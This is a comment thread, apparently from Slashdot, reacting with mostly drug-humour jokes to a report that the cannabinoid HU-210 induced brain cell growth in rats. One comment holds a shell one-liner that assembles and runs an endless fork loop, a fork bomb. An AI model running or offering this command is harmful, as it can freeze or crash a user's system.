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Cannabinoids Induce Brain Cell Growth?
Harlan writes "The Globe and Mail is reporting that researchers at the University of Saskatchewan are claiming that high doses of cannabinoids have induced new brain cell growth in the hippocampus, the part of the brain responsible for learning and memory, in rat subjects. There are some interesting potential implications in regards to high doses of cannabinoids found in substances like marijuana."
WEeeeeEEEEEeeeeedddd
I mean, have you seen the complexity of some of those home-made bongs?
There's some serious brain power gone into engineering those bastards.
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
...that I am going to the health club when I pop into the local coffeeshop!
I always suspected... uhm, what were we talking about again?
Noise Is Music Podcast.
You might grow more brain cells, but all of these new cells will be dedicated to designing more complicated bongs and imagining conspiracies to unravel, so the net functional gain is minimal.
Same thing we do every night, Pinky - get baked and munch out.
Lost: Sig, white with black letters. No collar. Reward if found!
Maybe skipping class to go smoke pot isn't such a waste of time after all...
Now that my kids have read this we can argue about, "But DAD, Slashdot says!"
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It, like, alters your mind! Wohoa!
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The team injected laboratory rats with a synthetic substance called HU-210, which is similar, but 100 times as potent as THC (delta-9-tetrahydrocannabinol), the compound responsible for giving marijuana users a high.
..or better yet, how do I make it?
Clearly my dealer has been lying to me. He swore there was nothing stronger than his stuff. Where do I get HU-210?
bite my glorious golden ass.
US Congress will make sure this is the case. Drugs may not harm the Canadians but they do harm American people.
Why are rats attending a hippocampus in the first place?
This article was posted 13 minutes too late.
If you're just going to talk, pass that over here.
Seriously was I the only one who saw the headline and thought "cannibal androids had found a way to increase our brain sizes so they have more food!?!?!" before thinking "why would cannibal androids eat humans!?"
Will you shut up and pass the twinkies?
Yeah I know, in Soviet Russia communism was first tested on humans before being tested on rats.
they're getting free weed there!
"BSD: Free as in speech. Linux: Free as in beer. Windows 10: Free as in herpes." --Man On Pink Corner in #52607549.
Whada ya mean brains can't be replaced? This man obviusly has not seen those future documentaries known to the public as "Ghost in the Shell".
This one phrase out to put his mind into action.
Man brewed alcohol, God created marijuana. Who're you going to trust, Mr. President?
Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
When you have to struggle to remember what you and your bong bud have just been talking about, it makes sense that you'd have to exercise your brain's memory regions. Smoking pot is like walking with leg weights -- it's harder to do when you have them on, but when they come off you're stronger for the extra effort you exerted.
What a fool believes, he sees, no wise man has the power to reason away.
They taste the same to me
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Your brain learns both by creating connections and by deleting them. If you create to many new connections you can't thnk straight. Everything gets too connected and you can't resolve your thoughts. You have to prune nodes to be able to think effciently and to focus.
Thus your comment is right on.
Clearly the only solultion is to first smoke loads of weed to build up your brains connecitons, and then huff gasoline to prune them back to a useful level. Then you will be a super genius.
Worked for me.
Some drink at the fountain of knowledge. Others just gargle.
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dude, I so knew that smoking was making me smarter, I mean, like , I've been smokin for years and every time I spark up I have great ideas that like, you know, are, like, cool, you know what I mean. Like that time I came up with that electronic voting system that worked with my television remote, that was like.. coool. Or the time that I figured out how to make breakfast burritos using the toaster. hehe, that was cool, too bad about the toaster though. Dude, quit hoggin the bong, I have to get to work, Steve wants me to come up with yet another version of the ipod. I think this time we will give it.. dude this is soo cool.. get this.. this time we will put a wider screen on it and call it the ipod cinema only get this dude, it won't actually play movies on the wide screen, it will dock with your new apple iTV, and get this.. it will only play back on your personal iTV... hehe, DRM is soo cool, definetly my best idea yet.. anyhow, save me some of that, I gotta come up with some other cool shit when I get home.